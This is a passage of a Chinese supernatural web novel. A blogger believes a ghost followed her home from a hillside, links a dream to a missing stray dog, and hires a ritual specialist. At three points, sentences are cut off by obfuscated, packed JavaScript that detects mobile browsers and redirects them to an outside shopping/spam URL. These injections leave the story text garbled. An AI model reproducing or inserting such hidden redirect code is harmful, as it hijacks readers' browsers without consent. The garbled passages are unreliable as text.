《不离开的理由》 1. 蓝衣裙女郎-有访客 那天左阅明显感觉到不对劲,但她只以为是自己想多了。 那是下午快四点的时候,左阅终于剪辑完视频并发布,带着狗去附近山上晒太阳。山里头有一小块草坪,位置特好,草坪南面是一块空旷的石子地儿,足有十个足球场那么大;北面是一片三四米高的断崖,断崖上长满了古松和灌木。断崖凹进去的一块,正好就是小草坪,如同母亲怀中抱着翠玉般的婴孩。 走到草坪跟前的时候,左阅还在想,这里真是风水宝地啊,每日阳光充沛,气息静稳,没有风煞,如果有人死了葬在这里,那真是悠哉—— 左阅赶忙打住,大白天也要谨慎。 她从包里拿出毛毯来,铺开,躺下,一边语音转文字做工作规划,一边享受已经软绵绵的太阳;狗则在旁边玩耍,不多会,回来守在她身边。突然,左阅感觉,有人在远处盯着自己。 谁啊?难道在偷听她说什么? 左阅生气,她环顾四周,没看到人。她没有戴眼镜出门,完全看不清,远处有个黑影,也不知道是人还是树。盯了一会儿,对方没有动,左阅便继续小声地记录工作规划,突然她脑子里蹦出了一句怪异的警告:要赶紧离开,在太阳下山之前离开这里! 这句话异常清晰,就像有人扒着她的耳朵讲话一样,并且重复了两遍。左阅背后微微发凉,即使她穿很多。当然,也可能是自己想太多了吧…… 更重要的是,她规划没有写完唉。 左阅抬头看了一眼远处的太阳,离树梢有点距离,应该至少有二十分钟的空档吧。而且旁边不远处就有台阶可以上去断崖,附近有条柏油马路,沿着走不到两百米,便是连绵成片的山坡,照理说,山坡上遛狗遛娃的都多,阳气充沛。问题不大,左阅想,快点收尾就走。于是,她不信邪地继续写,可是没过十分钟,她警觉地发现,天一下子明显暗了许多,灰蒙蒙的,带着一点黄色。不知道什么时候,太阳竟然落山了,完全落山了……而左阅的周身冷得不行。 怎么会这么快呢? 左阅环顾四周。她常来这个山,晚上和狗友也来过,但这是第一次感觉到瘆人。 不敢再耽搁,左阅收起手机,叫上狗,提起地上的毯子,来不及塞进书包,粗略检查是否有掉东西,立刻马上转去东边,爬台阶上去,几乎是落荒而逃。平常不觉得怎样,现在却感觉,这三四十级的台阶竟然就像到不了头一样。 她慌得不行,但是又不敢加快步伐,怕摔倒滚下去。好在狗在前面打头阵,已经站在台阶顶上等着,皱眉看着慢吞吞的主人。 和狗汇合之后,左阅终于松了一口气,她急于去前面山坡边上。 可真是稀奇。 整片整片的山坡上,平日里应该乌泱乌泱的人,此刻竟然只有那么两三个人,还都是遛狗的……在路上只碰到了一个姑娘,她的狗想和土豆交流下——哦左阅的狗就叫土豆,但是左阅不敢停留,牵着土豆赶忙回去。一直到小区楼下,看着人来人往,左阅才松了一口气。前后不过二十分钟,此时天已经完全黑了,手机的亮光都有些刺眼。把毯子叠起来的时候,左阅有些后悔,她不该在山上耽搁的…… 当然,现在说什么都晚了。有后悔的时间,不如赶紧去做饭搞饱肚子。吃吃饭,遛遛狗,剪剪视频,又到了深夜,什么离奇的事情都没有。左阅想,可能今天是她太敏感了吧,该干嘛干嘛。不过比较例外的是,她十一点就困得不行,放下手机睡了。要是往常,她不把手机玩到十二点,不会善罢甘休。 可能是太累了吧。 凌晨,伸手不见五指的时候,左阅醒了。她醒的时候,土豆正在低吼,像是被谁惹毛了。 · 土豆很容易被惹毛,没办法,它体型小,又敏感胆小。但凡门外走廊有一丁点风吹草动,那就算是惹到它了。 但这房子是公寓,隔音本来就差,还是一室零厅的设计,也就是走廊和卧室之间仅仅一门之隔……大半夜狗叫,很容易吵到邻居,简直就是天大的罪过。作为i人,左阅只想安静生活,不要讨嫌,于是她多番训练土豆,终于好转不少。只是如果走廊上持续的声音久了,土豆还是会叫。现在不管走廊上有什么人,不管现在几点,必须立刻马上阻止土豆,因为持续低吼是它大叫的前奏…… 左阅立刻从床上起身,忍住翻江倒海一样的心跳,拿出手机一看,才凌晨两点,于是咬牙切齿地哄道:“土豆,别叫了,我听到了。” 土豆突然大叫两声,就像是忍无可忍的突然暴怒。 “不许叫!”左阅压低声音怒吼,她气得不行,掀开被子,正准备下床去的时候,突然僵住,她意识到了一件事——刚才狗不是朝着走廊叫的,而是完全相反的方向,也就是靠近阳台的落地窗角落。 左阅假装淡定,安抚低吼的土豆,点开手机上的灯,颤抖着照亮土豆所在的位置,忍不住吞了一口口水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329107|199155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 果然,土豆身体拉成一条线,两条短腿绷得死死的,尾巴也拉直了,死死盯着靠近落地窗的角落,持续低吼。问题是,角落里基本上没什么东西,只有两个狗玩具,一个是小黄鸭,一个是胡萝卜,散落在地上,再然后就是落地窗边的窗帘。更远一点,是土豆的狗窝。应该也不大可能是老鼠蟑螂,因为土豆最爱玩这个了。每次去外婆家小住,老鼠们都要连夜走几天亲戚避风头。 左阅舔了一下嘴巴:行吧…… 看来房间里多了一个访客,就在角落窗帘那里。甚至,左阅能猜到,这位访客和昨天断崖山坳有关。但是她能奈对方何呢?好好睡一觉,比什么都重要。 她床上四角放着硬币,访客应该是上不来。不过,会不会靠近呢?左阅有点瘆得慌,还是得和土豆一起睡才有安全感。于是她爬到床那一头开灯,把还在低吼的土豆劝上被窝。土豆一开始死活不愿意,一副恋战模样。最后它挨不住左阅的夹子音,也挨不住好说歹说、软话硬话,骂骂咧咧地进了被窝,但它狗屁股朝着左阅的胳肢窝,头还是朝着角落。岂有此理!左阅扒拉它屁股,让换个方向,土豆忙里偷闲地对左阅翻个白眼:我正忙着呢,你别烦。 得,左阅没办法,盖上被子,带上眼罩就这么将就着睡了,她之前加班太多,身体虚空严重。总不能真的挨到凌晨四点的时候再睡吧,左阅努力让自己睡着。 四点是鸡鸣的时刻,也是阳气生发的时刻。 三十分钟后,左阅一把扯下眼罩,她根本没法睡,因为土豆喉咙里一直咕噜咕噜,还时不时就要撅一下屁股,随时准备下去干架的姿态,时刻提醒左阅:房间里还有一位访客哟,不知道对方长什么样子哟,也不知道对方现在用什么表情看着自己哟…… 这怎么睡得着? 左阅干脆开始熬夜玩手机。一直玩到三点半,“蹦——”一声,土豆浑身松快了一样,从床上跳下去,回到自己狗窝里,美美开始睡觉。 左阅无奈,她完全清醒着,只能继续玩手机,到六点多才有睡意。 一觉醒来时,已经是十一点,窗外阳光刺眼,透过了厚厚的窗帘。 土豆不知道什么时候已经上来了,趴在枕头边看着左阅,一脸期待,甩着尾巴,它想要出去尿尿了。 左阅浑身无力躺在床上,她真的不想起床,但是她不得不起床,因为除了遛狗,她还有一件事得去做——把那位访客送回去。 2. 蓝衣裙女郎-原来是请托啊 遇到访客这种事,对于左阅来说并不新鲜。她之前被路边的访客意外缠上过,对方跟到家门口。后来,左阅不得不想办法原路返回,把对方送回原来的地点。后来没有受到同一个访客的骚扰,所以,应该是有用的……吧。 希望这一次也能有用。 左阅收拾收拾,随便啃了一个苹果,带上土豆,还有昨天的背包,去草坪那里,送访客回去。 中午十二点之前,左阅骑着小电驴,带着狗,站在了昨天那块山坳的草坪附近。 阳光特别明媚,一切都非常的亮堂、安静,草坪、松树、灌木、石子路,所有的一切,和昨天一样,仿佛什么都没有发生过。 但是,左阅不太敢走上草坪,她在草坪前面,面对着山坳合掌,拜了三拜,口中念念有词:非常不好意思,因为我的无知打扰了,但是我希望能够回归彼此原来的轨道,桥归桥、路归路,谢谢。 左阅不知道这样到底有没有用,也很担心会碰到外人,毕竟万一被人发现,会被当成神经病吧。 告解完毕,左阅才想起来,她忘了把毛毯带来…… 不管了,反正她心意已经到了,对方应该会善解人意……的吧。 左阅带着狗,从旁边的石阶上去,听到了一阵清脆的铃铛声。 一抬头,就看到石阶最上方,有一个年轻男子冲出来,寸头,大喘着气,戴着浅蓝色口罩,一身白色运动服,一手提着拳头大的铜铃,一手拿着胳膊长的黑色长布袋,外面有奇怪的刺绣图案,里面似乎装着什么。 年轻男子也看到了左阅,停下来打量。 风铃声渐渐闭嘴,在两人一上一下的对峙之中。 突然,年轻男子快步下来几级台阶,直冲左阅而来。他提着铜铃的那只手,竟然还伸到口袋里面去掏着什么东西。 左阅吓得不行,不会是遇到法外狂徒了吧。她不敢看对方会掏出什么作案工具来,赶忙一个矫健的错身,从台阶旁边绕上去,和土豆麻溜地跑了。 “等等。”年轻男子在后面喊。 左阅拼命往前面跑,跑去小电驴边上,就在山坡旁边,周末的中午,漫山遍野都是遛狗和遛娃的人,很是热闹,还有放风筝和玩无人机的。 总算是安全了,土豆出溜一下蹦上小电驴,左阅也坐上去,掏钥匙。 结果还是被对方追上来,他递过来一张卡片:“如果有需要,随时联系我。” 左阅惊魂未定,看了一眼那张卡片,有点无语,原来是苦命的牛马,周末还出来打工推销…… 她侧身让开一点,插钥匙启动电动车:“不需要不需要,谢谢谢谢。” 对方很固执,把卡片塞在了车篓里面,笃定地说:“你会需要的。” 左阅一脸懵逼,看着他转身离开的背影,有点无语。她现在的生活,没有任何烦心事,哦,除了昨晚上那位访客之外。可是,他又不可能知道昨晚上发生的事,而且她已经把访客送回去了……不过,鬼使神差的,左阅还是拿起来那张卡片端详。额……卡片非常普通,正面印着“无名旧书屋”5个字,背面写着联系电话,电话左边有“张先生”三个字。电话下面还有一段小字,主要是介绍无名旧书屋的业务,可以帮忙代找绝版图书什么的。 左阅把卡片塞回了车篓,掉落在车篓的缝隙边上,将落未落。 · 因为前一晚的事,左阅很有些担心凌晨再次被吓醒。因为过于担心,到了十二点才有睡意。结果,半夜她还是醒了。 是被狗吵醒的,它从窝里起身,抖抖腿啊甩甩毛……所以,好消息是告解被接受了,访客离开了,坏消息是—— 现在凌晨一点半。拿着手机的左阅,她真的想嚎啕一声:我的天爷啊。 她睡不着了,只能玩手机,一直玩到六点多才有困意。 又是一个空心觉,简直令人绝望。 好在到了第三个晚上,她终于睡着了,一夜无梦到天明。她软得像呲溜面条的身体,终于支楞起来了。起床,拉开窗帘,站到阳台上,吹着秋末的冷风,左阅感觉人生真是美好,欣喜地望着楼前的一座小山。阳光照耀之下,一切郁郁葱葱。 她要干活,干活干活!浑身使不完的牛劲,她要把之前存的素材,全部剪出来! 忙到中午吃过午饭之后,左阅困得不行,困得眼皮子都睁不开了,连窗帘都来不及拉上,这真是罕见。 在一片刺眼的阳光中,左阅歪在床上,闭眼昏睡之前,脑子里只有一句自我忠告——只睡三十分钟,睡完起来干活。可是,等到她醒来时,阳光已经暗下去,两个多小时过去了。 左阅把手机放下,回想刚才的梦中梦。一般来说,她很少做梦,但只要做梦,大部分梦都是有指向性意义的,分为两类,一类是反应当下心理状态的,比如压力太大,她可能会在梦中反复从高处陡然跌落;一类是传递信息的梦。刚才这个梦中梦,就是典型的传递信息的梦,主要是分为两个部分,这两个部分都很奇怪。 第一个部分中,左阅去取自己曾经寄存许久的宝贵包裹。 包裹放在恢宏的地下通道底部,而通道两侧有很多一人长宽的方形窗口,窗口中填满了纯白的刺眼光芒,她被刺得流泪,不得不闭着眼睛往下走,其间她还看到好几个小孩子在通道上下追逐笑闹,有一个小孩和左阅妹妹年幼时一模一样。取到了包裹,左阅爬上通道,站在宽阔平地上,不知为何,有一种跋涉千山万水,终于站在领奖台上的感觉。她拆开包裹外的塑料袋,想看看这宝贵的东西究竟是什么,这时候她才发现,塑料袋里面竟然还有一张叠起来的白纸,这张纸展开,比她的人还要大还要宽,上面有许多淡蓝色的超大字。 这是老家的某个远亲给左阅来信,大概意思是——得知左阅正在做博主有很多粉丝,对方也想要做博主,她觉得自己画画还算不错,应该也会有人欣赏;可是她不知道如何发布视频,因此她希望每次完成作品之后,拍视频发送给左阅,请她帮忙发布到自己的账号上。 原来是请托啊。左阅看着来信发愁。对于她来说,时间宝贵,只想花在自己身上。那么,这事最好的解决办法是,坦诚告诉对方,她可以授人以渔,也就是专门花时间教导对方做博主的流程和方法,由对方自己运营。但这里的问题是,她提出的方案,在老家人听来,更容易被理解成拒绝……当然,最终左阅还是决定写信告诉对方自己的真实想法。 紧接着,梦境切换到了第二部分,左阅在某一处陌生的楼下闲逛溜达着,突然遇到了一条配色奇怪的狗。 狗全身都是奶白色的,只有半个头是黑色的。狗体型很大,比一般金毛还要大,刚冲过来的时候,左阅有点害怕,甚至还后退了一步。但是这个狗非常友好,它似乎看出来左阅的恐惧,于是它两只黑色大蝴蝶一样的耳朵夹到后面,笑眯眯地趴下前爪,尾巴欢快地甩动。它是在邀请抚摸。 不知道为什么,左阅感觉到莫名的熟悉,她记得这好像是附近这一栋房子里的狗,于是走过去,蹲在它面前,轻轻地抚摸它的头,夹着嗓子问它:“你怎么在楼下,你的主人呢?我送你回去吧。” 狗没有反应,依旧眯着眼笑看着她,享受她的抚摸。 左阅摸着摸着,注意到它脑袋上的黑白分界线,刚好就是在两个耳朵中间,横切整个脑袋,异常整齐。真的是非常奇怪,于是左阅低头去看黑白分界线,从后往前摸的时候,突然黑白分界线裂开了,裂缝中是鲜红的一块肉。 血肉? 左阅吓得愣到了,狗也疼得哀嚎起来,立即起身甩开左阅的手。左阅的手离开后,那块鲜红的肉合上,重新变成了黑白分界线。左阅这才发现——这个狗,它身上的纯白毛好像不是皮毛…… 左阅没空继续思考,因为恢复原状的狗狗似乎感觉不好意思,重新趴下来,想要让左阅继续抚摸它的头。左阅摸了摸它的头,摸过黑白分界线,它也没有任何异常,只是心满意足的样子。 接着,左阅去旁边楼上给它找主人,这时候三楼突然扔下来一个绳子,绳子上系着一把椅子,一个女人探出头来,笑着说:“你上来吧。” 啊?左阅很疑惑怎么上去时,她突然之间从睡梦中醒来,确切的说是被人拍醒的。 一睁眼,她发现自己躺在夏天的躺椅上,冰冰凉凉的。而这时,她才注意到,旁边坐着一个人,是她已经长大了的妹妹。妹妹轻笑着看她,说:“你也应该要醒过来了。” 左阅环顾四周——窗明几净,有几个人在不远处的餐桌边上张罗一桌饭菜,低声谈笑着什么。陌生的一切,让左阅意识到,她还在梦中。 正是这个意识,让梦境戛然而止,她彻底醒过来。 左阅睁开眼睛,望着熟悉的房间,熟悉的阳台外景色,听着熟悉的交通轰隆声,莫名感觉很悲伤。这个梦里没有任何恐怖元素,但是她很疑惑,这个梦里究竟要传递怎样的信息? 尤其是那张比人还大的白色纸张,上面的浅蓝色字迹,让左阅久久不能忘怀,对方究竟是谁,竟然为何要请左阅帮忙做博主? 整个梦听起来有点滑稽。 · 左阅没有想出任何头绪,做晚饭的时候,和朋友语音聊天,聊了最近发生的事。 朋友有点沉默,很久没有讲话。 左阅很理解,因为没有经历过的人,总是会怀疑别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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灰灰是小区附近的一条流浪狗,它全身灰白色,嘴脸像是吉娃娃的串,对人非常热情。原本它还有同一窝的小白狗相依为命,小白狗的后腿被人打断了,骨头就这样一直断着,但皮还连着,于是拖着断腿走,非常可怜。这两只狗都对人非常友善,信任周围投喂食物的人。后来有好心人把小白狗收养了,只有灰灰一直流浪着。附近有许多流浪狗,成组织了,非常凶,对着人吠叫,但是灰灰一直没有加入这个组织,它总是独自在附近游荡,下雨的时候躲在湿哒哒的灌木丛里面,蜷缩起来。 一个月之前,灰灰突然不见了,狗友们担心出事,自发去找过多次,没有人找到。左阅也总是放心不下。 朋友说:“你不会还在找吧?” “最近没怎么找了。”左阅开始切菜,“就是觉得,如果当初勇敢一点,收养它就好了。没钱又怎样呢?带着两只狗不好换房子又怎么呢?办法总是比困难要多的。现在连它的下落都不知道……” 一说起来,左阅还是很后悔。人总是在失去选项之后,才意识到它的重要性;在面对考验之后,才意识到自己有够懦弱无能的。 灰灰对每个友善的人都非常热情,无论别人是否给它好吃的。前几个月左阅起了收养灰灰的念头,在隔着一场大雨看到便利店门口的灰灰时。灰灰浑身湿哒哒,蹲在廊檐下,仰头望着天空,眼神很迷茫,不知道在想什么,可是转头一看到左阅,它的眼睛里迸发出明亮的光点。 当时,左阅想,多养一条狗也花不了太多钱。可是没多久,连轴转加班半个月后,左阅离职了。离职之后,博主收入锐减,因为各个平台策略都有所调整。左阅不得不降低欲望生存,首要的削减目标是房租。现在的房租有点高,左阅想搬去更便宜的地方。但是带着一条狗找房子尚且难,带着两只狗就更不用说了。因此,左阅说服自己,能力不够就不要当圣母,她选择放弃,选择相信会有人收养灰灰,就像会有人收养断腿的小白狗那样。 可是现在呢?再也不知道灰灰去了哪里,是生是死?也不会再看到它邀请人摸摸头的样子。 朋友叹一口气:“这个事你已经尽力了,你自己都是泥菩萨过江,先管好自己吧,别找了。” “其实我有预感,它可能遭遇不测了。它很聪明,如果能回来,它早就会回到便利店门口。”左阅唏嘘,一边切菜,一边碎碎念,“它真的很乖,我现在还记得上次下雨的时候,它见到我,立刻就冲到我面前,前爪趴在地上,撅着尾巴,夹着两只蝴蝶一样的耳朵,笑眯眯的,摇头晃脑——” 说到这里,左阅切菜的手顿在空中,整个人如同天打雷劈一样愣在原地—— 灰灰的姿态、表情,和梦里那只黑白狗一模一样! 难道这就是访客在梦中传达的信息? 不不不!一定是她想多了,左阅甩了甩头。怎么可能会有访客给人托梦这种离谱的事情呢?大半夜家里进访客就已经够离谱了。 可是,梦里那条黑白色的线缝,在左阅脑子里挥之不去,渐渐成了浓重的愤怒——怎么可以这样子呢?一定不是这样子的! “你会需要的。”那个拿着铜铃和黑色长布袋的年轻男子,他笃定的语气、眼神…… 至此,左阅再也听不进去朋友说了什么,放下菜刀,脱了围裙,挂了电话,立刻换鞋,拿上狗绳带狗出门,随即又回来拿了个强力的手电筒,下楼骑上小电驴。 她要找到那张卡片。 3. 蓝衣裙女郎-张先生 左阅记得,当时还没下山,卡片就从车篓里面飘出去了。 自作孽不可活,左阅沿着山路去找。这是个相当渺茫的办法,因为两天过去了,卡片很可能被清洁工处理掉。当然,更让左阅害怕的是,现在六点了,天色暗淡,上山去的话,人烟稀少,还很可能沾染到其他的危险。 但是现在已经顾不上了。 她骑车带着狗,打着手电筒一路找,没找到。或许那个男生会遗漏一两张卡片?于是,左阅找到靠近山坳的台阶处。可惜,依旧没有找到。那怎么办呢?难道就这样放弃? 左阅不想放弃,她必须当面问问那位访客,要一个确定的答案。可是根据她的推测,那位访客应该也不在山坳里面,而是在左阅的生活居所附近,甚至一直跟着,但问题在于—— 左阅没办法和她沟通,也不想被动等待,她需要找到安全的沟通方式,比如之前那个年轻男生。左阅直觉对方是“专业人士”。 遥望附近的山坡,没什么人,只有两对小情侣坐在草坪上,其中一对正在放发光的风筝。而远处是一片商业区,在夜里发光,如同童话堡垒,建筑物的屋顶就像是一张摊开的书籍。 书籍! 左阅赶忙拿出手机,点开地图搜索“无名旧书屋”。 没想到还真找到了,可惜上面没有联系电话。 · 第二天中午,左阅还真找到了那个书屋。 书屋所在的街道是老城区,成片的低矮平房,相距很近,被大片的到大建筑挡住太阳,地上潮湿,有生活废水,横拉的晾衣绳,还有霉味、屋角瓦罐里的花和葱姜蒜。虽然在江城生活了很多年,但左阅第一次来这里闲逛。找到书屋时,左阅七上八下的心咯噔了一下。 这书屋有一扇玻璃落地门,但是上了锁,锁上还落了灰。透过脏兮兮的玻璃可以看到,里面的书架大部分被搬空了,剩下的一部分就是几本书的封面,过去流行的甜心爱情故事,还有武侠江湖。这是曾经的出租书屋,但怎么看也不像是正在经营的样子。 左阅开始怀疑自己,她竟然因为一个诡异的访客,就开始过度解读一个梦,甚至要找完全不知底细的年轻男子……唉,要不放弃吧。 就在这个时候,一阵风吹来,“叮叮咚咚——” 左阅抬头,竟然是拳头大的铜铃铛,挂在廊檐下面。这铃铛和那天见到的一样……而且这个铃铛一尘不染,明显是每天都有人擦。 这时候,隔壁开锁店的阿姨出来倒垃圾,问她是不是来找小张的。 小张?哦,张先生。左阅迷茫地点了点头。 “你找他什么事?”阿姨一脸探究。 左阅磕磕巴巴:“也没什么事,他不在就算了。” “他只有晚上过来。你要是找他,去后边给他写个电话。” 这么麻烦,为什么不直接在书店门口贴他的电话号码? 左阅一边心里吐槽,一边顺着阿姨的指示,绕道附近一个铁质楼梯下去,果然看到一个非常小的侧门。 门是木板的,用铁链锁上了,倒是经常被人摸得发亮的样子。门里面一片黑漆漆的,不知道都有些什么,门上则用红线挂着一支笔和一个土色本子,封面上写着——有事请留下联系方式、事由,会尽快联系。 翻开封面,露出里面的白纸,但是只剩一张,其余的都被撕掉了。 会不会不安全啊? 左阅临时打了退堂鼓,把本子放下,抬头四处看看,这才发现头顶上有个摄像头,正对着自己。她浑身发毛,为了一些诡异的事,掉了更诡异的坑里怎么办? “不如你打我的电话吧。”突然一道男声轻轻响起,从虚掩着的门缝里。 左阅吓得心脏都快跳出来了,陡地转身,回头看着门缝,一头冷汗。 “不好意思吓到你了。”张栩解释,他已经从监控看到了她,并且报了自己的电话号码。 确实是那天年轻男子的声音,左阅拿出手机,打电话过去。 电话接通之后,张栩做了简单的自我介绍:“我是无名旧书屋的管家,叫我张先生就好了。” 管家? 奇奇怪怪的。 左阅问他:“你上次给我名片,说有事找你,是什么意思?” 对方似乎料到有此一问:“稍等。” 接着,左阅听到了电梯叮咚的声音,接着是同事和他打招呼的声音,甚至有人在电梯里谈论着数据库什么的,最后是风吹过的声音。 张栩终于到了户外,确认周围没有人:“上次那个台阶边上,原本有位故人,她跟你回去了。” 左阅捂着嘴,下意识抬头,瞪大双眼看着监控,她嘴角颤了一下:“这是你们骗人的套路吧。” 张栩笑了一下:“如果你觉得是胡说八道,一开始就不会来找我吧。” 左阅沉默,她还是不知道是否应该相信对方。 “你来找我,就是希望这位故人离开。我说的对吗?”这是张栩的常见业务。 “故人……你的意思是,她认识我?” “不,这只是一种称呼。” “哦,那让这位……这位故人离开之前,我有问题想要问她。你能做到吗?” “当然。” “多少钱?” 张栩愣了一下,他很少看到如此直白谈钱的:“五百。” “三百。” “我们的业务不打折,没有例外。” “四百。” 张栩叹了一口气:“行吧。” 反正,只会有这么一个例外。 左阅懊恼,早知道坚持三百了。 接着张栩告知她操作流程:今晚上十一点,去到她家里处理。 原来是晚上跳大神吗? 左阅要求换成他女同事来处理。毕竟让陌生男性到家里,实在危险。 张栩的师妹本来就不多,而且都去外地出差了,最快的一个回来也得四天之后了,说明情况之后,张栩又问:“你是一个人来的?” “嗯。”左阅有点纠结。她是想要有个朋友陪着壮胆,可是拉着朋友处理这种事情,感觉很对不住啊…… “一个人来的客户,我们不接。你考虑好了再联系我。”张栩他们这一行,也要考虑自己的安全。独身的客户,万一出了点什么事,说也说不清。 左阅想了许久,回到小区楼下,她还是咬牙问了下朋友意见。如果她同意,那就好,不同意,那就只能再想想其他办法了。 幸运的是,朋友虽然不理解,但还是答应帮她,也就是过来一起坐镇:“正好我也来见识见识,说不定对方只是个骗子。” “谢谢你,夏夏!完事了,我请你吃大餐。”左阅太开心了,她立刻给张先生打了电话,同时要求对方给发个邮件,留痕。 · 十点半不到,左阅和夏夏一起,在楼下遛狗。 夏夏拿着录音机,一脸不屑,说等着看对方怎么骗人。 刚好这时候,一个骑着小电驴的年轻男子来了,一身黑色运动服,背着一个巨大的黑色运动包,里面不知道装了些什么东西。 左阅叫住他:“张先生?” 对方回头,这一次没有戴口罩,露出脸来,看年纪应该是将近三十岁,方脸,眼神明亮,就是眼下青黑,看起来有点过度疲劳。 不是歹人。 不过,带着进门时,左阅还是特意把狗绳梆梆两下敲在监控上。 张栩当然注意到了这个情况,他见怪不怪,取下大的运动包,环视一圈,只看到一个布艺衣柜、少量杂物,还有用被单遮住的床。 他问:“准备的桌凳呢?” 左阅赶忙去厨房,把折叠餐桌和两个高脚凳拉出来,摆在客厅的正中央。说是客厅,但其实就是一条空出来的走道而已,左阅尽量摆放的离床远一点。 “啪”一下,房间里的灯熄灭,只有落地窗外的霓虹灯照进来,格外诡异。 左阅问:“你关灯做什么?” 夏夏也说:“我们有监控的。” 就连土豆也吓了一跳,汪汪叫起来,气氛一下子变得火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329109|199155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热。 张栩打开手电筒,示意她们安静:“我知道,你进门那么大一个监控,瞎子也能看到。” 说着,他从口袋里掏出一个录音机来,给她们看看:“你们怕出事,我也一样。我关灯,只是要先确认点东西。” 左阅示意土豆安静,然后接过录音机,有点懵,检查了一下,确实正在录音中,还给张栩:“对不起,误会你了。” 张栩从运动包里又扒拉出一个黑色长布包来,斜挎在身上,看着有点滑稽…… 这布包外面有好几个隔层,每个隔层里似乎都放着特别的东西。 张栩看了下腕表,马上十一点了。他从左边的口袋隔层摸出一个喷壶来,只有巴掌大小,对着空中四周喷洒几下。 “这是什么?”夏夏发现地板上竟然涌起了一些莹绿色的点点,就像是某种黑暗中发光的虫子。 土豆也觉得稀奇,蹑手蹑脚走过去,低头在地上嗅嗅。 左阅担心有问题,上前一把子抱住土豆。 “这是神虎现形符的符水。”张栩盯着这些绿点,它们从床边一直蔓延到墙角,靠近阳台那里的角落。 左阅睁大眼睛:“好神奇。” 这些绿点刚好汇总在那天土豆吠叫的方位……这神虎现形符水,像是警察办案的时候,在屋子里喷洒的化学药水,可以让蛛丝马迹浮出水面。 原本,她很担心眼前的张先生是骗子,但是这下她不得不相信。 接下来会有更刺激的事情吧,也不知道一个男的穿着运动服该怎么跳大神……她斟酌了下,问:“那这位……故人还在这里吗?” 那些绿色的光点,很快又消失了,而房间角落里的绿点最多,也是最后才消失的。 张栩仔细观察过后,摇摇头:“不在。” “那怎么办?”夏夏坐在床边,打了个哈欠。她不是很相信,觉得这些绿色光点也是骗人的。 “两炷香开始之后,她自然会来。”张栩把餐桌挪动位置,正对着刚才的角度,并且摆放了一个凳子。 “两柱香?”左阅想要帮忙,被他阻止了。 张栩说等会和她再详细解释,请她先在旁边帮忙打着手电筒。 左阅把土豆递给晃着腿的夏夏,然后拿着手电筒,对着张栩和他的黑色运动包。 张栩先是把包放在地上,打开,从中抽出一大块纯白的布来,铺在餐桌上。 桌布真的非常大,把整个餐桌包裹得严严实实,随后他又从包里拿出来一个浑圆的牛奶色小碗,用小碗在米袋子里舀了一大把米,放置在餐桌正中间;随后又分别抽出了三支黄色的香、三支红色的香,分别放在小碗的两侧,外加两只红色的蜡烛。 这就是两炷香啊,颜色居然不一样,也不知道各有什么用途。 这专业的架势,连土豆都唬住了,聚精会神地看着,像认真听讲的学生。 左阅发现,这位张先生显然是有点强迫症,他放置碗和两炷香的时候,都反复在对齐位置和方向,并且再三把小碗里面的米弄平,不允许一丝丝的杂乱。 最后,张栩从包里掏出一个黑色长布袋。 左阅认出来了,这是在山上第一次碰面时的布袋,布袋外面有什么图案刺绣,可惜光线太暗,实在看不清楚。 张栩把它横着摆放在桌案上,又在桌案两边分别放了一把凳子,其中一把正好就是在房间角落里。 大概是给那位“故人”的吧,左阅想。 这还真有点开坛做法的架势了…… 左阅浑身的兴奋变成了炸起的寒毛,她这才感觉到了真实的恐怖。 夏夏的腿也没晃了,等着他下一步。 张栩布置好一切,从左阅手里接过手电筒,站在桌子一侧,他指着右手边的凳子:“你可以坐下了。” 他本就不苟言笑,此刻更加严肃,动作一板一眼,让人想起莫名想起纸人……而且他眼神犀利,在微弱的手电筒灯光下,让人毛骨悚然。 左阅和夏夏对视一眼,然后乖乖坐下了,像个提线木偶。 4. 第一炷香 张栩从口袋里掏出一盒老式洋火柴,取出一根划亮,点燃桌上的两根红色蜡烛,放于两侧,对齐。 他关了手电筒。 霎时间,整个房间更暗了,只剩下两只诡谲跳动的烛火,它们比阳台外透过的车水马龙还要暗淡和虚无。而阳台玻璃门,此刻似乎隔绝了两个完全不同的时间,彻底隔离开了。房间里极其安静,走廊上的脚步声和隔壁的说话声,无比清晰。 左阅不自觉握紧了手。她开始怀疑,怀疑自己在做一个神经兮兮的事,只是因为一些奇怪的经历就把陌生人请到自己家来了,然后做一些奇奇怪怪的仪式……不会是骗术吧?对,这些香烟里面可能也会有迷惑人的成分。可是他也没有戴口罩啊。当然了,退一万步说,就算不是骗术,也可能是一些以捉鬼为名义的邪术啊。比如说,现在网上很流行讨论的借运什么的……虽然说,他看起来不像是个坏人,但是左阅越想越不安。她想反悔,可是还来得及吗? 咬咬牙,左阅唯唯诺诺地问:“做这个,应该……不会有什么坏影响吧?” 张栩一眼就看穿了她背后的担忧:“我可以保证的是没有坏影响,只会将故人带走。当然,我没法证明这一点。如果你想要中途退出的话,也没有关系,不过你需要给100元上门费,邮件中有提醒。” 中途退出吗? 左阅得好好想想。 夏夏从床上蹦下来,她也小声劝道:“要不算了吧,你干这个也没什么好处。” 虽然说夏夏不信,可是她这时候也感觉到害怕了。 不过,夏夏的话倒是提醒了左阅,她最开始请张先生,是为了灰灰,是为了知道灰灰的伤口怎么回事。 